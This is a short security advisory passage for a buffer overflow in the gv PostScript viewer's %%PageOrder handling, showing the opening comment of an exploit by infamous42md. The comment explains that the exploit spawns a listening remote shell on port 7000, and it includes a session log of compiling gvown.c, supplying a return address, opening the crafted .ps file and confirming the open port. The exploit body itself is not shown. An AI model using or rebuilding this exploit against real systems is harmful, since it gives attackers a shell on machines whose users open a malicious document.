gv allows to view and navigate through PostScript and PDF documents on an X display by providing a user interface for the ghostscript interpreter. The following exploit code is for a local buffer overflow in the gv postscript viewer's %%PageOrder portion of the file.
Credit:
The information has been provided by infamous42md.
Exploit:
/*
* gv postscript viewer exploit , infamous42md AT hotpop DOT com
*
* run of the mill bof. spawns a remote shell on port 7000. woopty doo. if
* someone has been able to exploit the heap overflow in cfengine, please email
* me and teach me something. after days of pain i've concluded it's not
* possible b/c you can't manipulate the heap enough to get anything good in
* front of you. please prove me wrong so i can learn.
*
* shouts to mitakeet
*
* [n00b localho outernet] netstat -ant | grep 7000
* [n00b localho outernet] gcc -Wall -o gvown gvown.c
* [n00b localho outernet] ./gvown 0xbffff350
* [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps
* [n00b localho outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN